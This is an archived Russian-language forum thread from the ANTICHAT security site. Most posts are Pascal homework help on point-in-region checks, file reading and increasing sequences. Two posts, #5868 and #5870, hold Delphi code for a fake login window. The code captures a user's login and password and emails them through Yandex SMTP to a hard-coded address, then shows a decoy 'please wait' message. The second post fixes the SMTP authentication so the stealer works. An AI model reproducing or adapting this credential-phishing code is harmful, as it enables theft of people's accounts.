ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #5861  
Старый 23.03.2010, 13:52
#Wolf#
Постоянный
Регистрация: 26.03.2008
Сообщений: 311
Провел на форуме:
3799424

Репутация: 479
По умолчанию

pascal

выяснить принадлежит ли точка с вбиваемыми с клавиатуры координатами заданной области
 

  #5862  
Старый 23.03.2010, 14:35
EndLeSSDre@M
Участник форума
Регистрация: 18.07.2009
Сообщений: 278
Провел на форуме:
3055344

Репутация: 259
Отправить сообщение для EndLeSSDre@M с помощью ICQ
По умолчанию

что то в этом духе:

PHP код:
var x,y:real;
begin
readln
(x,y);
if 
y<=cos(xthen do
begin
if (y<=1) and (y>=0) and (x>=-1.57) and (x<=1.57then write 'Принадлежит'
else write 'Не принадлежит'
end;
if 
y>=cos(xthen do
begin
if (y<=0) and (y>=-1) and (x>=1.57) and (x<=3.14then write 'Принадлежит'
else write 'Не принадлежит'
end
во переделал

Последний раз редактировалось EndLeSSDre@M; 23.03.2010 в 14:40..
 

  #5863  
Старый 23.03.2010, 14:51
EndLeSSDre@M
Участник форума
Регистрация: 18.07.2009
Сообщений: 278
Провел на форуме:
3055344

Репутация: 259
Отправить сообщение для EndLeSSDre@M с помощью ICQ
По умолчанию

Цитата:
Короче нужна программа которая при запуске проверяет в файле наличия строк и если ничего не находит то записывает дынные,которые заданны.
PHP код:
var input:textfile;
      
n:integer;
  
begin
  Assign
(input,'input.txt');
  
reset(input);
  while 
not EOF(input) do
  
begin
  readln
(input,n);
  
end;
if 
n=' ' then n=
вот по идее то что тебе нужно! проверяет на существование данных, если нет, то вбиваешь свои данные, если есть то берет их из файла.

Последний раз редактировалось EndLeSSDre@M; 23.03.2010 в 15:01..
 

  #5864  
Старый 23.03.2010, 16:03
#Wolf#
Постоянный
Регистрация: 26.03.2008
Сообщений: 311
Провел на форуме:
3799424

Репутация: 479
По умолчанию

Цитата:
Сообщение от EndLeSSDre@M  
что то в этом духе:

PHP код:
var x,y:real;
begin
readln
(x,y);
if 
y<=cos(xthen do
begin
if (y<=1) and (y>=0) and (x>=-1.57) and (x<=1.57then write 'Принадлежит'
else write 'Не принадлежит'
end;
if 
y>=cos(xthen do
begin
if (y<=0) and (y>=-1) and (x>=1.57) and (x<=3.14then write 'Принадлежит'
else write 'Не принадлежит'
end
во переделал
спасибо, только откуда числа "1.57" по модулю и "3,14"? о_О
 

  #5865  
Старый 23.03.2010, 16:05
EndLeSSDre@M
Участник форума
Регистрация: 18.07.2009
Сообщений: 278
Провел на форуме:
3055344

Репутация: 259
Отправить сообщение для EndLeSSDre@M с помощью ICQ
По умолчанию

Цитата:
спасибо, только откуда числа "1.57" по модулю и "3,14"? о_О
ну просто по рисунку я не догнал точно что за числа... вот и предположил что это пи/2 и пи

там просто разделил на два интервала...где y>=0 и y<=0
 

  #5866  
Старый 23.03.2010, 16:41
skagen
Участник форума
Регистрация: 08.01.2010
Сообщений: 155
Провел на форуме:
1008872

Репутация: 22
Отправить сообщение для skagen с помощью ICQ
По умолчанию

помогите найти пожалуйста самый большой учебник MidletPascal буду сидеть учить
 

  #5867  
Старый 23.03.2010, 17:06
#Wolf#
Постоянный
Регистрация: 26.03.2008
Сообщений: 311
Провел на форуме:
3799424

Репутация: 479
По умолчанию

Цитата:
Сообщение от EndLeSSDre@M  
ну просто по рисунку я не догнал точно что за числа... вот и предположил что это пи/2 и пи

там просто разделил на два интервала...где y>=0 и y<=0
а) и еще ты использовал два раза косинус)
и можно маленькую задачку напоследок?)
PHP код:
uses crt;
var 
a:array[1..10]of integer;
i,j:integer;
begin
randomize
;
for 
i:=1 to 10 do begin
a
[i]:=random(10);write(a[i],'');
end;
for 
i:=1 to 10 do begin
if a[i+1]> a[ithen
inc
(j);
end;
if 
a[10]<>0 then inc(j);
writeln;writeln(j);
readln;
end
сколько подряд идущих элементов образуют возр последовательность...вроде работает но не правильно..
 

  #5868  
Старый 23.03.2010, 17:08
stepashka_
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме:
7879791

Репутация: 265


Отправить сообщение для stepashka_ с помощью ICQ
По умолчанию

procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.yandex.ru' ;//smtp сервер мыла.В данном примере для яндекса
IdSMTP1.port:=25 ;//порт
IdSMTP1.Username:='abovestart9445' ;//Имя пользователя
IdSMTP1.password:='123456789' ;//Пароль
IdMessage1.Body.Text:='Login: '+Edit1.Text+' Pass: ' + (Edit2.Text); //Шлем данные из Edit1.text и edit2.text через ; ,пользователя нужно заставить их заполнить.
IdMessage1.from.text:='abovestart9445@yandex.ru';//От кого шлем
IdMessage1.Recipients.Emailaddresses:='kasper2028@ yandex.ru'; //кому шлем
IdMessage1.Subject:='Fake' ;//тема письма
IdSMTP1.connect ;//соединяемся
IdSMTP1.Send(idmessage1);//шлем
IdSMTP1.disconnect ;//Разъединяемся.
MessageBox(handle, PChar('Ваш текст'),PChar('Ждите'), MB_OK);//тут можем написать что сервер не доступен и т.п.
end;

end.


Знаю вопрос нубовский, НО почему при нажатии Button появляется окно

 

  #5869  
Старый 23.03.2010, 17:20
EndLeSSDre@M
Участник форума
Регистрация: 18.07.2009
Сообщений: 278
Провел на форуме:
3055344

Репутация: 259
Отправить сообщение для EndLeSSDre@M с помощью ICQ
По умолчанию

Цитата:
сколько подряд идущих элементов образуют возр последовательность...
не совсем понял вопроса... или наибольшее число идущих подряд элементов образующих возр послед, или как??? например: 1 2 4 3 6 3 2 1
тут максимальное количество идущих подряд равно 3 но так же есть и другие возр послед в которых 2 элемента... так все таки уточни задачу

Не дождался ответа, и решил задачу так как я понял ее... в общем выдает максимально число элементов которые идут подряд с возрастанием:

PHP код:
program Project2;

{
$APPTYPE CONSOLE}

uses
  SysUtils
;

var 
a:array[1..10]of integer;
b:array[1..10]of integer;
i,j,h:integer;
begin
h
:=1;
j:=1;
randomize;
    for 
i:=1 to 10 do begin
      a
[i]:=random(10);
      
write(a[i],' ');
   
end;



   for 
i:=1 to 10 do begin
      
if a[i]> a[i+1then
         begin
         inc
(j);
         
end
      
else
      
begin
         b
[h]:=j;
         
j:=1;
         
h:=h+1;
      
end;
   
end;

h:=h+1;
b[h]:=j;
j:=b[1];

   for 
i:=2 to h do
      
begin
         
if b[i]>j then j:=b[i];
      
end;

writeln;

writeln(j);

readln;
end

Последний раз редактировалось EndLeSSDre@M; 23.03.2010 в 19:25..
 

  #5870  
Старый 23.03.2010, 19:26
Dosia
Участник форума
Регистрация: 05.06.2009
Сообщений: 127
Провел на форуме:
1313455

Репутация: 249
По умолчанию

Цитата:
Сообщение от stepashka_  
procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.yandex.ru' ;//smtp сервер мыла.В данном примере для яндекса
IdSMTP1.port:=25 ;//порт
IdSMTP1.Username:='abovestart9445' ;//Имя пользователя
IdSMTP1.password:='123456789' ;//Пароль
IdMessage1.Body.Text:='Login: '+Edit1.Text+' Pass: ' + (Edit2.Text); //Шлем данные из Edit1.text и edit2.text через ; ,пользователя нужно заставить их заполнить.
IdMessage1.from.text:='abovestart9445@yandex.ru';//От кого шлем
IdMessage1.Recipients.Emailaddresses:='kasper2028@ yandex.ru'; //кому шлем
IdMessage1.Subject:='Fake' ;//тема письма
IdSMTP1.connect ;//соединяемся
IdSMTP1.Send(idmessage1);//шлем
IdSMTP1.disconnect ;//Разъединяемся.
MessageBox(handle, PChar('Ваш текст'),PChar('Ждите'), MB_OK);//тут можем написать что сервер не доступен и т.п.
end;

end.


Знаю вопрос нубовский, НО почему при нажатии Button появляется окно


Код:
procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.yandex.ru' ;//smtp сервер мыла.В данном примере для яндекса
IdSMTP1.port:=25 ;//порт
IdSMTP1.Username:='abovestart9445' ;//Имя пользователя
IdSMTP1.password:='123456789' ;//Пароль
IdMessage1.Body.Text:='Login: '+Edit1.Text+' Pass: ' + (Edit2.Text); //Шлем данные из Edit1.text и edit2.text через ; ,пользователя нужно заставить их заполнить.
IdMessage1.from.text:='abovestart9445@yandex.ru';//От кого шлем
IdMessage1.Recipients.Emailaddresses:='kasper2028@yandex.ru'; //кому шлем
IdMessage1.Subject:='Fake' ;//тема письма
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.connect ;//соединяемся
IdSMTP1.Send(idmessage1);//шлем
IdSMTP1.disconnect ;//Разъединяемся.
MessageBox(handle, PChar('Ваш текст'),PChar('Ждите'), MB_OK);//тут можем написать что сервер не доступен и т.п.
end;

end.
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ